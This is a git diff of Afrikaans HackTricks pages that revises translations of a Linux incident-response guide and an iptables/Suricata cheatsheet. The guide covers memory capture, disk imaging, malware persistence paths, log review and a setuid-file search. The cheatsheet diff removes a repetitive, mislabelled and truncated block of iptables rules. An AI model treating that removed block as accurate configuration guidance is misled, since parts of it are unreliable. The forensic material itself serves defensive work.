|
||||
* **`cannot mount /dev/loop0 read-only`** in hierdie geval moet jy die vlae **`-o ro,norecovery`** gebruik
|
||||
* **`wrong fs type, bad option, bad superblock on /dev/loop0, missing codepage or helper program, or other error.`** in hierdie geval het die monteer gefaal omdat die offset van die lêerstelsel verskil van dié van die skyfbeeld. Jy moet die Sektor grootte en die Begin sektor vind:
|
||||
```bash
|
||||
fdisk -l disk.img
|
||||
Disk disk.img: 102 MiB, 106954648 bytes, 208896 sectors
|
||||
|
@ -104,7 +107,7 @@ Disk identifier: 0x00495395
|
|||
Device Boot Start End Sectors Size Id Type
|
||||
disk.img1 2048 208895 206848 101M 1 FAT12
|
||||
```
|
||||
Merk op dat sektor grootte **512** is en begin is **2048**. Monteer dan die prent soos hierdie:
|
||||
Let op dat die sektor grootte **512** is en begin by **2048**. Mount dan die beeld soos volg:
|
||||
```bash
|
||||
mount disk.img /mnt -o ro,offset=$((2048*512))
|
||||
```
|
||||
|
@ -112,14 +115,17 @@ mount disk.img /mnt -o ro,offset=$((2048*512))
|
|||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Werk jy by 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die [hacktricks-opslagplaas](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud-opslagplaas](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -75,18 +75,18 @@ sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
|
|||
```
|
||||
LiME ondersteun 3 **formate**:
|
||||
|
||||
* Raw (elke segment saamgevoeg)
|
||||
* Padded (dieselfde as raw, maar met nulles in regter bits)
|
||||
* Rau (elke segment saamgevoeg)
|
||||
* Gepad (dieselfde as rau, maar met nul in regter bits)
|
||||
* Lime (aanbevole formaat met metadata)
|
||||
|
||||
LiME kan ook gebruik word om die **dump via netwerk te stuur** in plaas van dit op die stelsel te stoor met iets soos: `path=tcp:4444`
|
||||
|
||||
### Disk Imaging
|
||||
### Skyf Beeldvorming
|
||||
|
||||
#### Afsluiting
|
||||
|
||||
Eerstens, jy sal moet **die stelsel afsluit**. Dit is nie altyd 'n opsie nie, aangesien sommige stelsels 'n produksieserver kan wees wat die maatskappy nie kan bekostig om af te sluit.\
|
||||
Daar is **2 maniere** om die stelsel af te sluit, 'n **normale afsluiting** en 'n **"trek die stekker" afsluiting**. Die eerste een sal die **prosesse toelaat om soos gewoonlik te beëindig** en die **filesystem** te **synchroniseer**, maar dit sal ook die moontlike **malware** toelaat om **bewyse te vernietig**. Die "trek die stekker" benadering kan **sekere inligtingverlies** meebring (nie veel van die inligting gaan verlore gaan nie, aangesien ons reeds 'n beeld van die geheue geneem het) en die **malware sal nie enige geleentheid hê** om iets daaroor te doen nie. Daarom, as jy **suspekteer** dat daar 'n **malware** mag wees, voer net die **`sync`** **opdrag** op die stelsel uit en trek die stekker.
|
||||
Eerstens, jy sal die **stelsel moet afsluit**. Dit is nie altyd 'n opsie nie, aangesien sommige stelsels 'n produksiebediener kan wees wat die maatskappy nie kan bekostig om af te sluit.\
|
||||
Daar is **2 maniere** om die stelsel af te sluit, 'n **normale afsluiting** en 'n **"trek die stekker" afsluiting**. Die eerste een sal die **prosesse toelaat om soos gewoonlik te beëindig** en die **lêerstelsel** te **sinkroniseer**, maar dit sal ook die moontlike **malware** toelaat om **bewyse te vernietig**. Die "trek die stekker" benadering kan **sekere inligtingverlies** meebring (nie veel van die inligting gaan verlore gaan nie aangesien ons reeds 'n beeld van die geheue geneem het) en die **malware sal nie enige geleentheid hê** om iets daaroor te doen nie. Daarom, as jy **vermoed** dat daar 'n **malware** mag wees, voer net die **`sync`** **opdrag** op die stelsel uit en trek die stekker.
|
||||
|
||||
#### Neem 'n beeld van die skyf
|
||||
|
||||
|
@ -246,42 +246,42 @@ Paaie waar 'n malware as 'n diens geïnstalleer kan word:
|
|||
* **/etc/systemd/system/multi-user.target.wants/**: Bevat skakels na dienste wat in 'n multi-gebruiker runlevel begin moet word.
|
||||
* **/usr/local/etc/rc.d/**: Vir pasgemaakte of derdeparty dienste.
|
||||
* **\~/.config/autostart/**: Vir gebruiker-spesifieke outomatiese opstart toepassings, wat 'n wegkruipplek vir gebruiker-gemikte malware kan wees.
|
||||
* **/lib/systemd/system/**: Stelsel-breed standaard eenheid lêers verskaf deur geïnstalleerde pakkette.
|
||||
* **/lib/systemd/system/**: Stelselswye standaard eenheid lêers verskaf deur geïnstalleerde pakkette.
|
||||
|
||||
### Kernel Modules
|
||||
|
||||
Linux kernel modules, dikwels deur malware as rootkit komponente gebruik, word by stelsel opstart gelaai. Die gidse en lêers wat krities is vir hierdie modules sluit in:
|
||||
Linux kernel modules, dikwels deur malware as rootkit komponente gebruik, word by stelselaanvang gelaai. Die gidse en lêers wat krities vir hierdie modules is, sluit in:
|
||||
|
||||
* **/lib/modules/$(uname -r)**: Hou modules vir die lopende kernel weergawe.
|
||||
* **/etc/modprobe.d**: Bevat konfigurasie lêers om module laai te beheer.
|
||||
* **/etc/modprobe.d**: Bevat konfigurasielêers om module laai te beheer.
|
||||
* **/etc/modprobe** en **/etc/modprobe.conf**: Lêers vir globale module instellings.
|
||||
|
||||
### Ander Outomatiese Opstart Plekke
|
||||
|
||||
Linux gebruik verskeie lêers om programme outomaties uit te voer wanneer 'n gebruiker aanmeld, wat moontlik malware kan huisves:
|
||||
Linux gebruik verskeie lêers om programme outomaties uit te voer by gebruiker aanmelding, wat moontlik malware kan huisves:
|
||||
|
||||
* **/etc/profile.d/**\*, **/etc/profile**, en **/etc/bash.bashrc**: Word uitgevoer vir enige gebruiker aanmelding.
|
||||
* **\~/.bashrc**, **\~/.bash\_profile**, **\~/.profile**, en **\~/.config/autostart**: Gebruiker-spesifieke lêers wat by hul aanmelding loop.
|
||||
* **/etc/rc.local**: Loop nadat alle stelsel dienste begin het, wat die einde van die oorgang na 'n multi-gebruiker omgewing aandui.
|
||||
* **/etc/rc.local**: Loop nadat alle stelseldienste begin het, wat die einde van die oorgang na 'n multi-gebruiker omgewing aandui.
|
||||
|
||||
## Ondersoek Logs
|
||||
|
||||
Linux stelsels volg gebruiker aktiwiteite en stelsel gebeurtenisse deur verskeie log lêers. Hierdie logs is noodsaaklik om ongeoorloofde toegang, malware infeksies, en ander sekuriteitsvoorvalle te identifiseer. Sleutel log lêers sluit in:
|
||||
|
||||
* **/var/log/syslog** (Debian) of **/var/log/messages** (RedHat): Vang stelsel-breed boodskappe en aktiwiteite.
|
||||
* **/var/log/syslog** (Debian) of **/var/log/messages** (RedHat): Vang stelselswye boodskappe en aktiwiteite.
|
||||
* **/var/log/auth.log** (Debian) of **/var/log/secure** (RedHat): Registreer autentikasie pogings, suksesvolle en mislukte aanmeldings.
|
||||
* Gebruik `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` om relevante autentikasie gebeurtenisse te filter.
|
||||
* **/var/log/boot.log**: Bevat stelsel opstart boodskappe.
|
||||
* **/var/log/maillog** of **/var/log/mail.log**: Log e-pos bediener aktiwiteite, nuttig vir die opsporing van e-pos verwante dienste.
|
||||
* **/var/log/kern.log**: Stoor kernel boodskappe, insluitend foute en waarskuwings.
|
||||
* **/var/log/dmesg**: Hou toestel bestuurder boodskappe.
|
||||
* **/var/log/faillog**: Registreer mislukte aanmeld pogings, wat help in sekuriteitsbreuk ondersoeke.
|
||||
* **/var/log/faillog**: Registreer mislukte aanmeldingspogings, wat help in sekuriteitsbreuk ondersoeke.
|
||||
* **/var/log/cron**: Log cron taak uitvoerings.
|
||||
* **/var/log/daemon.log**: Volg agtergrond diens aktiwiteite.
|
||||
* **/var/log/btmp**: Dokumenteer mislukte aanmeld pogings.
|
||||
* **/var/log/btmp**: Dokumenteer mislukte aanmeldingspogings.
|
||||
* **/var/log/httpd/**: Bevat Apache HTTPD fout en toegang logs.
|
||||
* **/var/log/mysqld.log** of **/var/log/mysql.log**: Log MySQL databasis aktiwiteite.
|
||||
* **/var/log/xferlog**: Registreer FTP lêer oordrag.
|
||||
* **/var/log/xferlog**: Registreer FTP lêer oordragte.
|
||||
* **/var/log/**: Kontroleer altyd vir onverwagte logs hier.
|
||||
|
||||
{% hint style="info" %}
|
||||
|
@ -321,7 +321,7 @@ Sommige toepassings genereer ook hul eie logs:
|
|||
|
||||
[**usbrip**](https://github.com/snovvcrash/usbrip) is 'n klein stuk sagteware geskryf in suiwer Python 3 wat Linux log lêers (`/var/log/syslog*` of `/var/log/messages*` afhangende van die distro) ontleed om USB gebeurtenis geskiedenis tabelles te bou.
|
||||
|
||||
Dit is interessant om **alle USB's wat gebruik is te weet** en dit sal meer nuttig wees as jy 'n gemagtigde lys van USB's het om "oortreding gebeurtenisse" (die gebruik van USB's wat nie binne daardie lys is nie) te vind.
|
||||
Dit is interessant om **alle USB's wat gebruik is** te weet en dit sal meer nuttig wees as jy 'n gemagtigde lys van USB's het om "oortreding gebeurtenisse" (die gebruik van USB's wat nie binne daardie lys is nie) te vind.
|
||||
|
||||
### Installasie
|
||||
```bash
|
||||
|
@ -341,7 +341,7 @@ More examples and info inside the github: [https://github.com/snovvcrash/usbrip]
|
|||
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) om maklik **werkvloei** te bou en te **automate** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapstools.\
|
||||
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) om maklik **werkvloei** te bou en te **automate** wat deur die wêreld se **mees gevorderde** gemeenskapstools aangedryf word.\
|
||||
Kry Toegang Vandag:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}
|
||||
|
@ -356,18 +356,18 @@ Laastens, soek na rekeninge met **geen wagwoorde** of **maklik geraadpleegde** w
|
|||
|
||||
### Ontleding van Lêerstelselstrukture in Malware Ondersoek
|
||||
|
||||
Wanneer jy malware-voorvalle ondersoek, is die struktuur van die lêerstelsel 'n cruciale bron van inligting, wat beide die volgorde van gebeurtenisse en die inhoud van die malware onthul. egter, malware-skeppers ontwikkel tegnieke om hierdie analise te hindern, soos om lêer tydstempels te verander of die lêerstelsel te vermy vir datastoor.
|
||||
Wanneer malware-voorvalle ondersoek word, is die struktuur van die lêerstelsel 'n cruciale bron van inligting, wat beide die volgorde van gebeurtenisse en die inhoud van die malware onthul. Malware-skeppers ontwikkel egter tegnieke om hierdie analise te hindernis, soos om lêer tydstempels te verander of die lêerstelsel te vermy vir datastoor.
|
||||
|
||||
Om hierdie anti-forensiese metodes teë te werk, is dit noodsaaklik om:
|
||||
|
||||
* **'n deeglike tydlynanalise uit te voer** met behulp van gereedskap soos **Autopsy** vir die visualisering van gebeurtenistydlyne of **Sleuth Kit's** `mactime` vir gedetailleerde tydlyn data.
|
||||
* **Ondersoek onverwagte skripte** in die stelsel se $PATH, wat dalk skulp of PHP-skripte insluit wat deur aanvallers gebruik word.
|
||||
* **Ondersoek ongewone skripte** in die stelsel se $PATH, wat dalk skulp of PHP-skripte insluit wat deur aanvallers gebruik word.
|
||||
* **Ondersoek `/dev` vir ongewone lêers**, aangesien dit tradisioneel spesiale lêers bevat, maar dalk malware-verwante lêers kan huisves.
|
||||
* **Soek na versteekte lêers of gidse** met name soos ".. " (dot dot space) of "..^G" (dot dot control-G), wat kwaadwillige inhoud kan verberg.
|
||||
* **Identifiseer setuid root lêers** met die opdrag: `find / -user root -perm -04000 -print` Dit vind lêers met verhoogde voorregte, wat deur aanvallers misbruik kan word.
|
||||
* **Hersien verwydering tydstempels** in inode-tabelle om massalêer verwyderings op te spoor, wat moontlik die teenwoordigheid van rootkits of trojans aandui.
|
||||
* **Inspekteer opeenvolgende inodes** vir nabye kwaadwillige lêers nadat een geïdentifiseer is, aangesien hulle saam geplaas mag wees.
|
||||
* **Kontroleer algemene binêre gidse** (_/bin_, _/sbin_) vir onlangs gewysigde lêers, aangesien hierdie dalk deur malware verander kan wees.
|
||||
* **Kontroleer algemene binêre gidse** (_/bin_, _/sbin_) vir onlangs gewysigde lêers, aangesien hierdie deur malware verander kan wees.
|
||||
````bash
|
||||
# List recent files in a directory:
|
||||
ls -laR --sort=time /bin```
|
||||
|
@ -381,9 +381,9 @@ Let daarop dat 'n **aanvaller** die **tyd** kan **wysig** om **lêers** **legiti
|
|||
|
||||
## Vergelyk lêers van verskillende lêerstelsels
|
||||
|
||||
### Samevatting van Lêerstelselweergawe Vergelyking
|
||||
### Lêerstelsel Weergawe Vergelyking Opsomming
|
||||
|
||||
Om lêerstelselweergawes te vergelyk en veranderinge te identifiseer, gebruik ons vereenvoudigde `git diff` opdragte:
|
||||
Om lêerstelsels te vergelyk en veranderinge te identifiseer, gebruik ons vereenvoudigde `git diff` opdragte:
|
||||
|
||||
* **Om nuwe lêers te vind**, vergelyk twee gidse:
|
||||
```bash
|
||||
|
@ -397,7 +397,7 @@ git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ |
|
|||
```bash
|
||||
git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
|
||||
```
|
||||
* **Filter opsies** (`--diff-filter`) help om te fokus op spesifieke veranderinge soos bygevoegde (`A`), verwyderde (`D`), of gewysigde (`M`) lêers.
|
||||
* **Filter opsies** (`--diff-filter`) help om te fokus op spesifieke veranderinge soos bygevoeg (`A`), verwyder (`D`), of gewysig (`M`) lêers.
|
||||
* `A`: Bygevoegde lêers
|
||||
* `C`: Gekopieerde lêers
|
||||
* `D`: Verwyderde lêers
|
||||
|
@ -415,24 +415,25 @@ git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
|
|||
* [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203)
|
||||
* **Boek: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides**
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Werk jy in 'n **kubersekuriteitsmaatskappy**? Wil jy jou **maatskappy in HackTricks adverteer**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks in PDF aflaai**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
||||
**Deel jou hacking truuks deur PRs in te dien na die** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) om maklik te bou en **werkvloei te outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapstools.\
|
||||
Kry Vandag Toegang:
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) om maklik te bou en **werkvloei te outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapstoestelle.\
|
||||
Kry Toegang Vandag:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}
|
||||
|
|
|
@ -1,28 +1,31 @@
|
|||
# Suricata & Iptables spiekbrief
|
||||
# Suricata & Iptables cheatsheet
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Iptables
|
||||
|
||||
### Kettings
|
||||
### Chains
|
||||
|
||||
In iptables word lys van reëls wat kettings genoem word, sekwensieel verwerk. Daar is drie primêre kettings wat universeel teenwoordig is, met addisionele kettings soos NAT wat moontlik ondersteun word, afhangende van die vermoëns van die stelsel.
|
||||
In iptables, lyste van reëls bekend as kettings word opeenvolgend verwerk. Onder hierdie is daar drie primêre kettings wat universeel teenwoordig is, met addisionele soos NAT wat moontlik ondersteun word, afhangende van die stelsel se vermoëns.
|
||||
|
||||
- **Input-ketting**: Word gebruik om die gedrag van inkomende verbindinge te bestuur.
|
||||
- **Forward-ketting**: Word gebruik om inkomende verbindinge te hanteer wat nie bedoel is vir die plaaslike stelsel nie. Dit is tipies vir toestelle wat as roetingswerk optree, waar die ontvangste data bedoel is om na 'n ander bestemming gestuur te word. Hierdie ketting is hoofsaaklik relevant wanneer die stelsel betrokke is by roetering, NATing of soortgelyke aktiwiteite.
|
||||
- **Output-ketting**: Word toegewy aan die regulering van uitgaande verbindinge.
|
||||
- **Input Chain**: Gebruik om die gedrag van inkomende verbindings te bestuur.
|
||||
- **Forward Chain**: Gebruik om inkomende verbindings te hanteer wat nie bestem is vir die plaaslike stelsel nie. Dit is tipies vir toestelle wat as routers optree, waar die data wat ontvang word bedoel is om na 'n ander bestemming gestuur te word. Hierdie ketting is hoofsaaklik relevant wanneer die stelsel betrokke is by routering, NATing, of soortgelyke aktiwiteite.
|
||||
- **Output Chain**: Toegewyd aan die regulering van uitgaande verbindings.
|
||||
|
||||
Hierdie kettings verseker die ordelike verwerking van netwerkverkeer, wat die spesifikasie van gedetailleerde reëls moontlik maak wat die vloei van data in, deur en uit 'n stelsel beheer.
|
||||
Hierdie kettings verseker die ordelike verwerking van netwerkverkeer, wat die spesifikasie van gedetailleerde reëls wat die vloei van data in, deur, en uit 'n stelsel regeer, moontlik maak.
|
||||
```bash
|
||||
# Delete all rules
|
||||
iptables -F
|
||||
|
@ -61,322 +64,7 @@ iptables-restore < /etc/sysconfig/iptables
|
|||
```
|
||||
## Suricata
|
||||
|
||||
### Installeer & Konfigurasie
|
||||
|
||||
```bash
|
||||
# Installeer Suricata
|
||||
sudo apt-get install suricata
|
||||
|
||||
# Skep 'n nuwe konfigurasie lêer
|
||||
sudo cp /etc/suricata/suricata.yaml /etc/suricata/suricata.yaml.bak
|
||||
|
||||
# Pas die konfigurasie lêer aan
|
||||
sudo nano /etc/suricata/suricata.yaml
|
||||
|
||||
# Stel die volgende waardes in:
|
||||
- HOME_NET: jou_netwerk
|
||||
- EXTERNAL_NET: enige
|
||||
- RULES_DIR: /etc/suricata/rules
|
||||
- LOG_DIR: /var/log/suricata/
|
||||
|
||||
# Stoor die veranderinge en sluit die lêer
|
||||
|
||||
# Skep 'n nuwe reëls gids
|
||||
sudo mkdir /etc/suricata/rules
|
||||
|
||||
# Skep 'n nuwe reëls lêer
|
||||
sudo touch /etc/suricata/rules/local.rules
|
||||
|
||||
# Herlaai Suricata se konfigurasie
|
||||
sudo suricata-update enable-source oisf/trafficid
|
||||
sudo suricata-update update-sources
|
||||
sudo suricata-update
|
||||
|
||||
# Begin Suricata
|
||||
sudo suricata -c /etc/suricata/suricata.yaml -i jou_interface
|
||||
```
|
||||
|
||||
### Iptables
|
||||
|
||||
```bash
|
||||
# Skep 'n nuwe iptables reël
|
||||
sudo iptables -A OUTPUT -p tcp --dport 80 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir HTTPS
|
||||
sudo iptables -A OUTPUT -p tcp --dport 443 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir DNS
|
||||
sudo iptables -A OUTPUT -p udp --dport 53 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir ICMP
|
||||
sudo iptables -A OUTPUT -p icmp -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir SSH
|
||||
sudo iptables -A OUTPUT -p tcp --dport 22 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir RDP
|
||||
sudo iptables -A OUTPUT -p tcp --dport 3389 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir FTP
|
||||
sudo iptables -A OUTPUT -p tcp --dport 21 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir Telnet
|
||||
sudo iptables -A OUTPUT -p tcp --dport 23 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir SMTP
|
||||
sudo iptables -A OUTPUT -p tcp --dport 25 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir POP3
|
||||
sudo iptables -A OUTPUT -p tcp --dport 110 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir IMAP
|
||||
sudo iptables -A OUTPUT -p tcp --dport 143 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir SNMP
|
||||
sudo iptables -A OUTPUT -p udp --dport 161 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir NTP
|
||||
sudo iptables -A OUTPUT -p udp --dport 123 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir MySQL
|
||||
sudo iptables -A OUTPUT -p tcp --dport 3306 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir PostgreSQL
|
||||
sudo iptables -A OUTPUT -p tcp --dport 5432 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir MSSQL
|
||||
sudo iptables -A OUTPUT -p tcp --dport 1433 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir Oracle
|
||||
sudo iptables -A OUTPUT -p tcp --dport 1521 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir VNC
|
||||
sudo iptables -A OUTPUT -p tcp --dport 5900 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir SMB
|
||||
sudo iptables -A OUTPUT -p tcp --dport 445 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir LDAP
|
||||
sudo iptables -A OUTPUT -p tcp --dport 389 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir FTPS
|
||||
sudo iptables -A OUTPUT -p tcp --dport 990 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir SFTP
|
||||
sudo iptables -A OUTPUT -p tcp --dport 22 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir IRC
|
||||
sudo iptables -A OUTPUT -p tcp --dport 6667 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir Rsync
|
||||
sudo iptables -A OUTPUT -p tcp --dport 873 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir DNSSEC
|
||||
sudo iptables -A OUTPUT -p tcp --dport 853 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir DHCP
|
||||
sudo iptables -A OUTPUT -p udp --dport 67:68 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir IRC
|
||||
sudo iptables -A OUTPUT -p tcp --dport 194 -j NFQUEUE --queue-num 1
|
||||
|
||||
# Skep 'n nuwe iptables reël vir IRC
